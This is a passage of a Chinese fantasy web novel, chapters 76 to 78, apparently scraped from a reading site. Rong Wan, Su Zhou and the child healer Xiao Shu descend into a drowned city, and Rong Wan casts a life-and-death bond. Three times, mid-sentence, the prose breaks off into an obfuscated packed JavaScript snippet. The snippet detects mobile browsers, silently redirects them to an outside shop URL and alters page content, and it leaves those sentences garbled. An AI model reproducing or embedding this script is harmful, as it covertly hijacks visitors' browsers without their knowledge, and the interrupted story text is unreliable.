多么艰难的一个问题,容晚无法回答他。怀中的墨麒小声呜咽着,他看出她的难过与不堪。 “你想要的,如今我都可以给你。”容晚温声答道。 金色虚相晃了一瞬,光芒虚弱下去。阿弥喃喃说:“姑姑,你……不可以……” “有什么不可以?”夙昼斜视着眼前虚幻的金色身影,唇间挂着似有似无的笑,他凑近几分,凝视着阿弥,声音是难得的温和沉静,“我们天生一对。你该不该唤我一声小姑父?” “你休想。”阿弥的虚相更加黯淡,她的眼眸直直望向容晚,闭了闭眼,说:“姑姑,我永远不会恨您。”她怒视夙昼,“但我也绝不会原谅他!当然——”她忽然泄力一般,语调是老神仙一般的宁静,“您要是选他,那也随您,反正我也看不到了。” “阿弥……”容晚唯有唤她的名字。 “我许久不曾听见有人这样喊我。”阿弥的虚相又黯淡一分,“我留下此间虚相,是为了您来接我回家的幻想,哪知今日相见,您也不是来接我的。” 修行数年的阿弥卜算出容晚的来意,语出惊人,“您会回到上因落乌,会去往傀地,见到故人,而后再次分离。直到——直到一切回归本位。” “我可以认为这是你对我的诅咒吗?阿弥?”夙昼松开容晚紧攥的指尖,一点点滑进去,十指相扣。他笑道:“乐意之至。” “不是你。”阿弥冷笑,那笑容可化刀锋一道道落在他身上,可惜如今不是他的对手。 “我猜到此间有一位故人,你可知是哪一位?这么多年,可有见过他?”容晚不认为阿弥口中的故人是夙昼,却不知是谁。隐有的猜测是她不愿相信的答案。 “墨麒曾被诡道禁阵所伤,我如今虚相,救不了他。而从前过去,能驱使诡道禁阵的唯有一人。”阿弥语气沉重,没有人知道容皓的目的。 “是容皓。”容晚心坠下去。她回来九年,容皓如果在此间,为什么不来找她?那只有一个可能,他的真身在上因。 “他还真是阴魂不散。”夙昼敲了下容晚的手背,“又是一个哥哥,好烦人。” “见招拆招吧。”容晚说:“我从来不了解他。” “这恐怕不是一个好消息,姑姑要小心。”阿弥将远处的一块弯月佩悬浮至容晚眼前,灵境对她怅然开放,“我以为您是愿意看到我的一生的,可惜我没有存下太多的留影珠。”她怎会想到,有朝一日真的能见到容晚,和当年一模一样却又不同的容晚。 灵境中的密辛灵宝,在容晚从前相赠的基础上,经过阿弥的打理,数量品阶翻了几番。 “仙祖和我说过无数次,您是他最引以为傲的弟子。他临了之时仍在念您。”阿弥看着容晚手下弯月佩,唇边微笑,一寸目光都没分给夙昼,“我没有时间了,墨麒知道如何去往傀地,您记得邀一位医仙陪同……” “好。”容晚的灵力向阿弥虚相汇去,金光一撞,消散更快。她双眼含泪地瞧着小姑娘,替衡游记下她的模样。 “姑姑,不管您和谁在一起,不管发生什么……”虚相将散的阿弥扬起笑,“阿弥永远爱您。” 墨麒挣扎着去捉阿弥的虚相,他从容晚怀中蹭下来,只望得见相依为命的阿弥最后一笑。 琉璃般的硕大眼珠里蒙上一层雾。 “我们可能遇到麻烦了。”夙昼侧耳往灵洞外一听,纷乱的脚步声和叫喊声在灵洞口.交织。 “你、你、你——”灵洞的时任长老一望见容晚,大惊失色,“大小姐怎会来此?” “您是?” “您的大婚之日——”看见两位一同冷下来的神色,长老立刻转换说辞,“有缘见过二位一面,不知大小姐今日来是为了?” “抓凶兽,帮你抓凶兽。”容晚急于帮墨麒治伤,苦于不能脱身。 “这是凶兽?”褚华秋指着她怀里的漆黑团子笑道:“长得像只黑羊,哈哈哈!好丑!” “不可说。”长老温和致歉,“凶兽已抓,劳烦二位帮我灵洞处置了吧。” “自然。”容晚道:“灵洞中乃仙祖石像,望您不要怠慢。” “自然自然。”长老如鹦鹉学舌,“不可怠慢。” “走了。”夙昼眼眸一动,一道不可察的红光闪过,长老怔愣着眨了眨眼,眼中一片迷茫。 望着两人离去的身影,长老揉了揉眼睛,他说了什么? “您怎么让他们带着凶兽走了啊!师父!”褚扶光惊诧道。 “啊?”长老摸了摸胡子。 “师父!真的有石像!仙祖石像啊啊啊!好像几千年前的石像——师父——”不知何时冲进洞内的褚华秋兴奋大叫,“我摸到了啊啊啊!” 仙祖石像现世,天下哗然。上古时代的史料自这一日起,可追溯至五千七百年前。 被奉为神话的祖弥石像,一夜之间无数复刻流向人间,供奉在无数仙门百姓家的灵案前。 画像画本画册层出不穷,更有甚者,以石像为范本,编了几十回浩浩荡荡的小人书。 就连容晚也买回一本,捧在手里仔仔细细地读。那是后人对阿弥的记忆,甚至依着阿弥的容貌,将衡游的容貌画得有七分像,其中故事却是将人神化了。 “梆梆——” 敲门声传来,容晚使唤着夙昼去开门,他拉开门扇,看见一个七八岁的小孩,穿一身黑色衣服,脸色古板。 “我叫小树,找大小姐。”小树绕过夙昼,抱着一大本黑色的药典往院子里走,乌黑的眼睛左转右转,“大小姐,是谁生病了?你吗?” 说着他就要来搭容晚的手腕。 “不是我,小医仙。”容晚笑意盈盈地望向他,指了指窝在草丛里睡觉,身上落了一束阳光的麒麟兽,“是他需要你。” 小医仙搁下药典,抓着一把银针,迅雷不及掩耳之速扎在墨麒屁.股上。 痛醒的墨麒猛然张口,既没有变大,也没有现出獠牙,叫也叫不出声。朝饮茶看画的容晚瞥过一眼,认命地躺下,被扎成刺猬。 “诡道禁阵,白诡火,难。”小医仙皱着眉头,“也不难,祖游说金丹辅以灵弦草,再加麒麟血可以压制。” “大小姐,哪里有麒麟?”小医仙一本正经地问。 “哥哥说你是落落涧最棒的小医仙,会不认识你手里的是麒麟?”容晚问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068778|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可能这小孩眼盲,装不认识。”夙昼淡淡道。 “你说谁眼盲!你别忘了——”小树猛然闭嘴,一根一根地朝墨麒身上扎灵针。 “别忘了什么?”夙昼凑到他身前,拨着一晃一晃的灵针,却惹得小树大怒,“你离我远点!” “啧——”夙昼垂眸一看,一根极粗的灵针极准极深地刺在腕间灵穴,“下手真狠,小屁孩。” “师父,你看——”夙昼托着手腕朝容晚撒娇,“你们家的小孩欺负我。得您帮我拔掉。” “你自己——”容晚停了一下,搁下手中的话本,轻柔地拔出那根灵针。她垂着眼睛望了许久,手中的灵针微微颤抖。 “师父,怎么?” “为什么针尾是弯的,是我弄坏了吗?”容晚目不转睛地盯着下针的小树,他手里动作停顿了一下,脸色没什么变化。 “我……祖游所用灵针针尾都是微弯的,我也不知道为什么。” “这样啊。”容晚起身,裙角扫过院中的一地落花,她蹲在小树身旁,声音猝不及防地变轻,“我见过你,我认识你。你是他。” 小树狠狠一抖。 “你是树精,桂花树精。喝着我的血,被我以灵力浇灌的那一颗桂花树所诞精灵。”容晚说。 “你怎发现的?”小树神色慌张,仔细嗅了嗅衣角,没有任何味道。 “哥哥信里说的,”容晚蹲在旁边摸墨麒的鳞甲,大多都碎了,少有完整的也是斑驳的刻痕。她安慰着许久不见的老朋友,倚着院里的花树坐在碧草丛中。 “我也要喊他哥哥吗?”夙昼忽然出声,他挨着容晚坐下,得了小树一个白眼。 “随便你。”容晚替墨麒挠着痒痒。 “我好困。”夙昼靠上容晚的肩膀,闭上眼,呼吸喷在她颈侧,痒得厉害。 天光微斜,茂盛花树下,玄衣夙昼倚在浅青色衣衫的容晚肩头,呼吸安逸,宛如一曲安神的小调。 容晚抱着墨麒,她凝视着小树,视线粘在他年幼的脸上。他是桂花树精,是那颗与衡游同寿的树的小树所化。是他吗?容晚从未见过衡游小时,眼前的小树一点都不像他。 “衡游,你——”容晚拍了一下他。 “嗯?你叫谁?”小树茫然抬头,又垂头继续取针,脸被树影遮住,看不清神色。 “叫错了。”容晚握着手里的弯月佩,声音微微沙哑。 “那是谁?”小树问,“公子说您去往傀地需要我,所以我来了。他也是一位医仙吗?比我还厉害?他在哪?” 浓重的好奇心是容晚无法满足的,她点了点头,哀声道:“是,我找不到他了。小医仙,你懂什么叫做失去吗?” “不懂。”小医仙收好最后一枚针,拍了下昏昏欲睡的墨麒的屁.股,“去!和我一起跑一跑!” 一人一兽的身影渐远,容晚喃喃道:“一点都不像……” “像什么?”夙昼似乎有些莫名的情绪,拉过容晚纤细的手腕,温热唇齿附上去,轻轻咬了一下。 容晚正要开口,虎牙刺破灵脉的痛感自腕间传来,他一边吻,一边咽下灼人的呼吸,“他喝过您的血?也是如此吗?” 76. 不念于念 “我……” 温热覆上唇齿,容晚淹没在醉人呼吸间,呢喃开口:“阿昼,当时他只是一棵树。” “为什么?”夙昼呼吸微乱,“为什么要用血来养?” “当时……嗯……我以为那里和你都是梦,醒来的时候枕边有一颗种子,我想种下来,看看树种会长成什么摸样。”容晚倚在他怀中,发丝衣衫纠缠,“可惜当时的身体,承载不了上仙的修为,我难以用灵力浇灌,所以……” “所以您用灵血来养?养了多久?”夙昼亲吻她的腕间,咬痕早已随着吻变淡、消失,吻一下,“一年?”他再吻一下,“两年?” 又是一吻,“三年?” 吻到第七下,容晚点了点头,感受到墨麒的气息,她从那人怀里钻出来。夙昼拉着她的手,扯得她摔下,衣裙翻飞,随着落花一起撞在他身上。 勾着她的颈肩,结束一个漫长而缱绻的吻,夙昼坐在树下,见容晚提着裙角走过花圃,打开门,唇边含笑地望着一树一兽。 被拦在结界外的心情自然不好,墨麒扒着门槛怎么也不进去,小树在门槛上一坐,控诉道:“大小姐将我拦在门外做什么?麻烦将我的药典包裹拿过来,我要回落落涧!” 落落涧是回不去的。容晚一手拎着小树,一手拎墨麒,穿过结界,一人一兽便出不去了。小树抱着药典望天,重重叹了一口气。墨麒蹭着他的衣角睡熟了。 “小医仙别垂头丧气,我送你份礼物好不好?”容晚笑眯眯问。 “谁稀罕。”小树抱着药典转过身。 一本更加轻薄的灵简递过来,小树眼睛一横,“送我的?” 注入灵力翻开后,小树手抖,声音也抖,像捧着珍宝一般喃喃道:“怎么找到的?我从没见过祖游的这一侧药典。” “一个小朋友送的。”容晚又想起阿弥来,她十九岁时的长相同衡游很像,几千岁时的模样叫她似乎望见衡游的一生。目光落在阿弥身上,她分明不是在看他。 “大小姐睹我思人?”小树嘲笑说:“可怜我被当替身……” “没有。你不是他,没有人是他。”容晚语气坚定,就算小树是转世,那也不是衡游了,更何况根本不是什么转世,一颗属于此间的树种,一个树灵。 听到容晚提及衡游时,夙昼从来不插话。他很难理解他们的感情,挚友?显然不止于此。亲人?似乎又并未那样亲密无间。 关于褚空月一死,他有责。这正是容晚深深介怀的一点。 这些日子,他们日日在一起,可是总有一些距离,他们两颗心之间有一道无法填埋的沟壑,随着时间流逝,越来越深。 这是一道永不痊愈的伤痕,于容晚而言。所幸如今她身体康健,梦魇萦绕,也比从前禁阵加身来得好。 今日她煮的茶中有桂花,那个小医仙一口不喝,容晚泰然自若地捏起茶杯,一饮而尽。 “大小姐,您打算什么时候去傀地?”小医仙催促说:“我着急,陪您去一趟要好久时日,我苗圃里的灵植都要长草了!” “这取决于你。”容晚不紧不慢地起身,顺着墨麒身上的毛发,仍是扎人的不舒服,“它几时恢复,我们几时出发。” “嗯?大小姐您是不是有热症?怎么说的话异想天开?”小树铺开手里的药典,沉声说:“祖游说诡道禁阵只能压制,不可解。既然不可解,谈何恢复之说?” “你这么厉害,没有办法吗?”夙昼眯起眼睛,指尖一动,一枚小小的阵印飞到小树眉心,他惊慌大叫,却听见容晚说:“你同墨麒同生共死喽!” “哇!”小树惊叫着哭出声,脸埋在墨麒的毛发里,不顾扎脸,似是狠狠哭了一通。 “阿昼。”容晚正要解印,一道夙昼的传音送到耳边,他只说了三个字“哄小孩”。 迟迟不曾出发的原因,并非墨麒的伤势,容晚每日为它输送灵力,可保墨麒此行无碍。 反倒是这个小树灵,叽叽喳喳地叫也算了,但身上的追踪阵印太多,既繁复又古怪,既有容朝的手笔,也有爹爹娘亲的阵印。 被动的传音灵阵也许多,容晚叫小树化作原形,夙昼上去薅下了近乎八成的叶子,每一片都有传送阵。 此行所为容晚不愿被任何人知道,那里的世界既然长久地消失于众人眼中,也无需重现世间。 独立天地间,各自安稳便是极好。 临行前,容晚往落落涧递了一封信。随信另有一枚玉牌,赠给容重。其中有她设下单向的传音灵阵,唯有她先递出一道传音后,对方才能回一道字影,仅能答是或否。 第一道传音是“灵阵可运转正常”。 远在落落涧的容朝正在置气,搁置不回,传音咒便在他耳边大叫,偏偏别人谁都听不到。 很快,容朝答了否。 凌厉狂乱的字迹彰显下笔人的愤怒。 此行傀地,两人一树一麒麟。小树不肯坐在墨麒身上,容晚只好把他塞进弯月佩的灵境中,独独划出一处,塞了无数药典书籍进去。 灵洞的书册从未现世,小树看得废寝忘食,原本就秃的叶子又掉了一堆。 再一次回到灵洞,是容晚意外之事。墨麒一爪按上原本石碑的所在地,隐藏的石道显现,容晚夙昼走进去,墨麒绕着石碑转了三圈,特意赶往阿弥的石像前合爪拜了拜,踏着小步子跟上去。 不见光处的黑暗是容晚的恐惧之一,她扣着夙昼的手,他整个发着光,照亮她,还有漫长的石道。 兽爪踏过碎石,墨麒踩上一坨软乎乎的东西,猛地弹起来,却踩到另一团软乎乎上。 当在石道尽头会和时,容晚望见一团硕大的黑色阴影,身形挤满石道,嘴角是两颗人形长的尖牙,她指尖飞速成印。 等黑影逼近时,一双硕大的眼睛映着光,容晚按住夙昼出击的手,冷冷道:“墨麒,我怎么不知道麒麟会长这么长的牙。” 两具软乎乎的尸体——似乎还有微弱呼吸,被墨麒吐在地上,衣衫尽是晶莹的口水。 “是那两个小孩,你在这里发现的。”容晚捏诀清理好两个少年,探过灵脉后,松了一口气。 “也有可能是他抓来吃的,戮君的麒麟兽在战场上可是咬过人的。”夙昼歪头盯着墨麒,将巨形的麒麟兽一点点压制成一小团。 墨麒颤巍巍地蹭在容晚脚边,似乎在说我没有、我哪敢,都是哥这只史前巨兽的传说。 “他不敢吃,他爱吃熟食。”容晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085758|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俯身将墨麒捧在手里,发愁如何将两个少年送回去,“你送他们回去。” “嗷——嗷嗷——”墨麒摇摇头,摊开两爪,无能为力。 “传送阵印失效,传送符用不了,这只笨兽又不认路,”夙昼无奈笑了笑,“只能带上两小尾巴喽。” 灵境无法装载人活人,墨麒不愿意被骑,连挂角上也不可以,而夙昼绝无可能背或抱两个少年。 冗长的石道内似乎所有阵印咒术通通失效,容晚揪出小树,对上小树被打扰的不满神情,温和开口,“人命关天。” “生死由你。”夙昼挤在容晚身旁,拿过她手里的小兽,随手放在地上。 “等。”小树顺势要再进灵境,被容晚拒绝后,掏出一瓶绿油油的药酒,涂在少年唇间眼下灵穴处,“醒了。” 两个少年猛地窜起来,眼前一篇模糊,凉飕飕的冷意袭来。褚华秋大叫:“扶光我瞎啦!我眼睛死了!” “薄荷与酒。脾气不要这么大……”褚扶光忍着不适起身,身姿端方,看清容晚时,迟疑道:“大小姐?” “褚扶光你敢喊我大小姐呢?信不信我打——”褚华秋终于看清容晚,她身后的石道长得没有尽头,“怎么和师父的传音灵径断掉了?扶光,他们不会因为我们摸了仙祖石像,要灭口吧。” “是你。”褚扶光俯身向容晚行礼,“大小姐,可是扶光多有得罪?这是何处?你又要如何?”他声音是颤抖里竭力维持的平静雅态。十几岁的少年如何能不慌。 “恐怕要麻烦你们和我走一趟,虽有风险,我会尽力相护,或者你们留在这里等我回来,更安全一些。”容晚很是抱歉,“目前没有办法送你们回去。” 两个少年叽叽喳喳地悄声说话,一起红着眼睛抬头,“等多久?” 容晚皱着眉头,在找合适的措辞。 “可能一天,也可能永远。”夙昼直言不讳,毫不在意未经世事的少年扭捏。他这么大的时候,死里逃生不知多少次。 “哇——”褚华秋嚎啕大哭,褚扶光眼里眨着泪光,下定决心,“我们跟大小姐走。大小姐能收复凶兽,自然是好人。” “那我是坏人?”夙昼噗嗤一声笑了。少年们没敢答话。 一行人沿着石道往前,墨麒走在最前方,容晚夙昼坠在后面,怕这怕那的两个少年被夹在中间,尤其是褚华秋,踩到碎石要叫,墨麒突然停下来要叫,什么都要叫。 另一个便更显稳重,紧紧攥着手心,每隔十息便要回一次头,离容晚超出十步,他就要放慢脚步。 状况百出地走完石道,狭窄的道口只能容纳一个人通过。两个少年眼巴巴地瞧着容晚。 “阿昼,你要不要走前面?”容晚小心翼翼问。 “我太害怕,得和您一起。”夙昼平静道。 褚华秋默默扯了下嘴角,他有病吧。刚想竞争一下谁更害怕,衣领被拎起来,扑着褚扶光冲进了道口,身后还挨了一脚。 “阿昼,不要欺负小孩。”容晚说。 “他俩算哪门子小孩?我这么大的时候——” “救命!咕噜——救……咕噜噜……” 石道口轰然崩塌,血水如海汹涌,淹没了少年的呼救声。 77. 不念于念 猩红巨浪袭来的瞬间,夙昼周身红光璀璨,将容晚护在身后。 血浪避过他们,却撞上金光阵印,涌起下一波惊涛骇浪,再一次被挡回去,讪讪地退去。 隔着阵印符文,水波似一面镜子,不时起些波浪。 “墨麒,去找他们。”容晚拍了下兽头,强调说:“要活的。” 麒麟兽冲入水幕,身影消散。 水幕之外,是不见尽头乃至分不清天地上下的血红色,根本分不清哪里是水面。 随着墨麒进来的两人,相看一眼,陷入诡异的沉默。他们衣衫发丝同水波隔绝,声音透得清楚。 “不觉得熟悉吗?”容晚拨动水波,细碎的血光打着旋儿,汇聚、消散。 “残碎血灵,怎会不熟悉。”血灵顺着他的指尖亲昵地缠绕,夙昼环视四周,目光落在一个方向,“我们离开这,立刻离开。” 诡异的吟唱声传来,容晚还未听清,耳畔被温热的手掌覆上,“怎么了?” “乱人神智。”夙昼瞳中微微现着红光。 “怎么乱人神智?”容晚问。 “比如——”夙昼俯身在她唇上碰了一下,“此刻并不是好时机,可我却很想吻您。” “咕噜噜——”一阵吐泡泡的声音传来。 一抬眸,容晚撞见墨麒那双澄澈的琉璃眼珠,推开夙昼的脑袋,“没找到?” 墨麒摇头。 “活着吗?”容晚又问。 墨麒点点头,又犹豫一瞬,摇头,复又点头。 “他俩被血灵附身了?”容晚推测说,“已失神智?” 麒麟兽转了两下眼睛,点头。 骑在墨麒身上,穿过重重水波,一座古老的水下城池露出面貌。暗红色的砖墙,破败的城门。 一眼能望见城中布局,还有那颗盛大的红花树。 “落在那里。”墨麒朝着花树飞去。容晚扣住夙昼的掌心,感受到他的紧绷,轻轻挠了下他的掌心。 “傀地,傀地,直到最后,夙州竟然是被独立于三界之外,我的亲人们不愿离开,日日夜夜被缚于此。”夙昼微微低着头,“师父,我是不是很无能啊。” “不论仙魔人妖,身故之后化为灵,灵碎归于世间,化风化水化尘,泽被万物。他们被困住了。”容晚驱使着墨麒下降,两个少年躺在花树下,瞳仁全红。 小树从灵境里窜出来,蹲在两少年身前这里看看,那里动动。 “是遗忘。”夙昼抚上花树粗糙的树干,连树干粗细都同往年如一,“除了我,没有人记得他们了。” “三界分立,夙州地势低,黑水湍流倾泻而至,渗入结界,淹没了这里。”容晚布下结界,隔绝他们的声音,一字一字开口:“那时候,你无法在场。因为霜元二百零八年以前,你便压制血灵,封印白咒城,死在了这里。” “怎么会?”夙昼否认道。 “你还要骗我吗?”容晚按住他的灵脉,另一手扯着他衣襟,叫他垂眸对上自己的眼睛。她说:“你凭什么觉得我会认不出你的血灵啊,夙昼。” “师父在我心里,您自然什么都会知道。”夙昼目光落在她眼里,“您在心疼我吗?我有些开心。” “你为什么还要笑出来?为什么要忍,为什觉得不告诉我,我就不会发现。” 见他扯起不算好看的笑,容晚揪着他的衣襟,几乎与他鼻尖相触,她的呼吸纠缠着他的,终是在他面前敞开心扉,“阿昼,我从未想过要你为我而死。那不是我为你选的结局,不是的。” “我知道。”夙昼温和地笑望容晚,“那是我替自己选的。”夙昼摩挲着容晚颈侧的肌肤,碰了下她将要漫出来的泪,小心拭去,“从前、现在、往后,你的性命于我而言重于一切。” “不要。”容晚推开他,“我不要。”她忽生一丝委屈,哽咽说:“难道……再有下一次,你还是要当着我的面自、自……” 说不出口的话,眼前淡淡微笑的夙昼,容晚指尖一划,一道血痕落在他颈侧。 “师父这是做什么?”夙昼由着她动手,覆上自己的脖颈,又看见她割破掌心,神色倏然暗下来,“容晚,你做什么?” “别动。”容晚道。 血红色的阵印夹杂着金色符文,轮转变幻,一道落在他颈侧,一道落在自己掌心。 “你做什么?”夙昼反手压制她,攥着她的手腕将她抵在树上,“什么阵印?” “你猜。”容晚望着他颈侧一串暗黑的符文,如花枝般颤动,印记镂入神魂,掌心滚烫消散,手心白嫩一片,毫无印记。 “是什么?”夙昼无奈道:“阵印已成,总要告诉我是什么?” “让我们永远在一起。”容晚从他手下钻出来,结界消散的瞬间,夙昼听见她说“不论生死”。 “你是认真的?”夙昼怒道。 正在施针的小树吓得一跳,看见容晚唇角带笑地走过来,而她身后的夙昼脸色乌黑,颈侧多了一道黑色的符文。 “生死印?”小树大惊,“大小姐您和他种生死印?我要告诉公子,啊啊!大小姐疯了!” “别叫。”容晚落下一道噤声咒,看见两个少年瞳仁里的红光散去大半,呼吸使胸膛起伏着,只需等他们醒来即可。 “可解吗?”夙昼拎起小树,将他端端正正地放在地上站好,语气悲凉,“小医仙,生死印可解吗?” “嗯嗯。”小树颤颤巍巍指向容晚,“你被大小姐种印,从此和大小姐同生共死,同病同伤。解法自然也有,你、你——” “继续说,你看她做什么?不怕我了?”夙昼冷声道。 “他不敢说,你不要吓唬小孩。”容晚从他手下解放小树,望着他的眼睛说:“杀了我,我的阵印便解了。” 夙昼拂开她的手,冷着脸唤她,“容晚,你真是——” “你真是——”夙昼将她按在怀里,指尖碰着颈后那一弯红月,“如此值得我爱,我把自己输给你了。” 容晚拥着他的脊背,脸埋在他的衣衫里,银丝的绣线有些冷,她的声音闷闷传出来,“阿昼,我们同生共死。” “同生。”夙昼允诺。 “大小姐,公子真的非常生气!他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093868|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打断你的腿……”小树先是咆哮,声音渐渐弱下来。 “传送阵印都洗掉了,你怎么告诉他的?”容晚掐住他的脖颈,冷声问:“你最好给我一个解释。” “公子没说,我吓你的,大小姐。”小树喃喃道:“是我想打断你的腿。” “嗯?”容晚夙昼异口同声。 “生死印这种上古禁咒,祖游都解不了。您却——却和这个以血灵为生的、的怪……奇怪的人种印,任门主公子夫人谁知道了都想打断您的腿。”小树颤颤巍巍地挪到墨麒身旁,靠着熟睡的麒麟兽,死死咬住唇。 “以后不要这么说,我这个人多疑,他更是。想活着回去,就不要生事。听明白了?”容晚看见小树嗫嚅着点头,望见一身玄衣的夙昼冲他冷冷挑了下眉。 “好了。”容晚神情转换,抬起笑脸问:“血灵不是全都毁在这里了,为什么他以血灵为生?” “不敢说。”小树捂着嘴,避开夙昼锋利的目光。见容晚默默挡在他们中间,他认命地垂下头,“他没有心。你或许可以问问他,是不是丢了?” 没有心。心丢了。容晚僵立在原地,身形随水波晃了一下,小树扶住她,钻进了弯月佩里。 “你需要一个解释的机会吗?”容晚极为平静地问:“如果你不想说,也可以。” 在盛大荒芜的遗迹中,那颗曾缀满紫藤冰晶的花树被血灵寄生。夙昼的玄衣随着水波层层绽开,他笑着看向容晚,“丢了。” “丢哪里了?”容晚伸手覆在他心口,猛然掉了一颗泪,“我听见心跳了。” “血灵珠。”夙昼将手覆在她手上,握紧,“不痛,也没有别的不同。你别哭。” “会找回来的,”容晚埋在他怀里,一定会找回来的。 两个少年醒来时,惊恐地喝了几大口水,意识到并不会呛水时,呼吸才慢慢稳定下来,互相靠着长长吐了一口气。 “大小姐,我们这是在哪?不出去吗”褚扶光打量着四周的血红水波,“我们方才遇到了一个怪物。” “嗯嗯,红头发,红眼睛,红衣服,大概这么高。”褚华秋手舞足蹈地比划着,“唱着很奇怪的调子,乱七八糟的,他走路——” “然后我们便晕过去了。”褚扶光打断好友的口不择言。 “带我们去。” 一行人顺着石板路绕到一处巷道。 望着巷道尽头的小院,容晚久久失神。那是曾经的夙州小院,乌衣巷尾的旧居。 门前的石阶被血灵附着成暗红色,门扇随意地开合,随着水波发出声响。 容晚推开门扇,水中旧居中,桌椅山石,枯枝断树,皆是寸寸血灵相染。 当年情形历历在目,他们一同笑闹,打火锅,下仙魔棋,一同翻过浩如烟海的书册,这一刻,故人不在,却如同得见,心绪翻涌。 “不要碰任何东西。”容晚对着两个满眼好奇的少年说,可两个少年齐齐盯着夙昼。 夙昼推开门扇,吱呀作响。 一道红色虚影穿过他的身躯,容晚沉下唇角,指尖的杀阵泛起金光。 78. 方生方死 红色身影随着水波化为人形,红衣红发,一双血红瞳仁斜睨着容晚。 “九方氏?”容晚指尖一勾,杀阵化作枝叶链条冲出,将九方氏捆在地上。 “昼公子,你怎么样!”褚华秋扑倒他们身边,而褚扶光握着剑指向那道红色身影。 “阿昼,如何?”容晚扶起夙昼,他捂着心口,四溢的红光朝外散去。 心口一痛,容晚压下痛楚,在夙昼心口落下一个小巧精致的符文。 “我没事。”夙昼被一种诡异的灵气吸引着,推开那扇门,甚至在对方朝他出手时避无可避。 “上仙,好久不见。”角落里的声音懒懒传来。 “上仙?”褚华秋小声嘟囔道:“人间没有上仙啊,有也不可能是大小姐,她才多大,再说这人脑子有毛病是不是叫错了——” “闭嘴。”褚扶光生怕他俩引起这几位注意,死命地掐住褚华秋的软肉一转,只听褚华秋一声痛呼,“好了好了,扶光我小声……” 两双眼睛齐齐盯向容晚,屏住呼吸,生怕一个不小心引人注意。 “名字。”容晚一抬手,五花大绑的九方氏漂浮至眼前,这才看清他眼中火红色的莲纹,“你是莲。” “九方氏历来独子,代代相传只用过一个名字,我或许该唤你一声九方莲。”容晚的指尖戳上他的额头,一朵火红的莲花盛开,“果不其然,九方氏世代拥护上因,你做了什么被容皓流放至此?又为什么绑了两个小孩引我来这里。” “上仙说笑了。”九方莲挣了挣,束缚阵印勒得他呼吸不畅,“放了我。” “你背后之人,是我想找的人。”容晚绞禁紧九方莲脖颈上的阵印,他疼痛欲裂,却在下一瞬,被容晚放开。 束缚阵化成一丝一缕的符文,爬上九方莲的脖颈,化成一道咒印。 “没成想大名鼎鼎怜光上仙,竟也私修禁阵。”九方莲爬起来,唇齿间溢出幻灭的吟唱,“当故去之人重回,仇恨与罪恶终将淹没众生。死去之人的魂灵永不安息,唯有此间堕入地狱,万物得生。” “胡说。”夙昼手中握着一把血光所化的长剑,剑身剑锋同不晴剑一模一样。 剑锋划破喉咙,九方莲勾起奇异的笑,吟唱声声入耳,“当起源归于本位,一切终将毁于一旦。旧世彼岸迎来曙光,是谁将尘封的壁垒打破——你不能杀我!” “住口!”夙昼眉目间爬上血光,暴动的血灵冲出胸口的阵印,和着碎碎金光流淌。 杀阵裹着激浪涌向九方莲,一击即中。他喷出鲜血,原先的红瞳淡成白色。 “别杀他。”容晚倾泻着灵力维持九方莲的生机。 望着容晚清透的眸光,夙昼散去杀阵,静默着望着容晚为九方莲疗伤,“你相信他了?还是被他所蛊惑?九方氏的吟唱惑人心神,你我都分辨不出真假。” “正是分辨不出,所以才不能杀他。是好是坏,来日如何都不是杀他的理由。”容晚将所有四溢的灵气封在九方莲体内,揪出小树喂了他十几颗金丹。 小树十分满意这个体质奇特、半死不活的实验品,脸上的笑没有一刻停下来,围着九方莲这里诊诊,那里摸摸…… 完全不敢参与大小姐和公子争吵的两个少年,默默围在小树身旁,感谢小树救命之恩,将他夸得上天入地。 而隔绝声音的阵印落下,夙昼淡淡睨了一眼围在一团的三个小孩,又布下一道隔绝他们视线的阵印。 “所以你一次次救我?是因为不想杀我?” 细碎的血灵随着水波涌动,夙昼倚着小院庭前的石柱,发丝衣衫随水波而荡,像着了一身红衣。 “我不杀人,从不想杀人。”容晚起身在石桌前坐下,指尖抚摸着桌上刻痕,仙魔棋的棋盘以灵力相刻,几千年也不曾消散。 确实是想过,如果大杀特杀,但凡她心狠一些,那个故事结束得定然极快,也不会是如今的结局。 “您有过杀我的念头吗?雪夜、金丹、心尖血、五指成契……全都是曾经想过杀我的补偿?”夙昼问。 水下城池的断壁残垣证明着他们的过往。而对容晚而言,不过九年,她忘不掉。 当年夙州灵阵里,结阵囚禁无数有罪者。容皓主张尽杀之,但她颤抖着手,推开那道即将盖上玺印的诏书。谁来量罚,如何审判,什么是公正,什么是徇私? 几经推开玺印,复又拿起,容晚终是没能盖下玺印。 “有过。”容晚坦诚。 